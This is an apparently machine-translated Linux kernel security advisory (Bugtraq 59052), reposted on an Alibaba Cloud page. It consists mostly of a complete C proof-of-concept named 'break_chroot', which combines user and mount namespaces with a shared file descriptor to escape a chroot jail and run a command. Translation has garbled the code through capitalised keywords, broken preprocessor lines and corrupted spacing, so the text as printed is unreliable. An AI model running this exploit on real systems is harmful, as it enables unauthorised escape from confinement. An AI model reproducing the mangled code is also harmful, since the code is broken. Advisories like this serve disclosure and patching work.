Multiple Linux Kernel local security bypass vulnerabilities

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
Linux kernel
Description:
--------------------------------------------------------------------------------
Bugtraq id: 59052
 
Linux Kernel is the Kernel of the Linux operating system.
 
Linux kernel has multiple security bypass vulnerabilities. Attackers can exploit these vulnerabilities to bypass certain security restrictions and perform unauthorized operations.
 
<* Source: Andrew Lutomirski
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
# Define _ GNU_SOURCE
# Include <unistd. h>
# Include <sched. h>
# Include <sys/types. h>
# Include <sys/wait. h>
# Include <fcntl. h>
# Include <stdio. h>
# Include <string. h>
# Include <err. h>
 
# Ifndef CLONE_NEWUSER
# Define CLONE_NEWUSER 0x10000000
# Endif
 
Static void printcwd (void)
{
/* This is fuugly .*/
Static int lastlen =-1;
Char buf [8192];
If (getcwd (buf, sizeof (buf ))){
If (strlen (buf )! = Lastlen)
Printf ("% s \ n", buf );
Lastlen = strlen (buf );
} Else {
Warn ("getcwd ");
}
}
 
Int fn (void * unused)
{
Int I;
Int fd;
 
Fd = open ("/", O_RDONLY | O_DIRECTORY );
If (fd =-1)
Err (1, "open (\".\")");
If (unshare (CLONE_NEWUSER )! = 0)
Err (1, "unshare (CLONE_NEWUSER )");
If (unshare (CLONE_NEWNS )! = 0)
Err (1, "unshare (CLONE_NEWNS )");
If (fchdir (fd )! = 0)
Err (1, "fchdir ");
Close (fd );
 
For (I = 0; I <100; I ++ ){
Printcwd ();
If (chdir ("..")! = 0 ){
Warn ("chdir ");
Break;
}
}
 
Fd = open (".", O_PATH | O_DIRECTORY );
If (fd =-1)
Err (1, "open (\".\")");
 
If (fd! = 3 ){
If (dup2 (fd, 3) =-1)
Err (1, "dup2 ");
Close (fd );
}
_ Exit (0 );
}
 
Int main (int argc, char ** argv)
{
Int dummy;
 
If (argc <2 ){
Printf ("usage: break_chroot command args... \ n"
"You won't be entirely out of jail./is still the jail root. \ n ");
Return 1;
}
 
Close (3 );
 
If (signal (SIGCHLD, SIG_DFL )! = 0)
Err (1, "signal ");
 
If (clone (fn, & dummy, CLONE_FILES | SIGCHLD, 0) =-1)
Err (1, "clone ");
 
Int status;
If (wait (& status) =-1)
Err (1, "wait ");
If (! WIFEXITED (status) | WEXITSTATUS (status )! = 0)
Errx (1, "child failed ");
If (fchdir (3 )! = 0)
Err (1, "fchdir ");
Close (3 );
 
Execv (argv [1], argv + 1 );
Err (1, argv [1]);
 
Return 0;
}

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Linux
-----
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
 
Http://www.kernel.org/

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.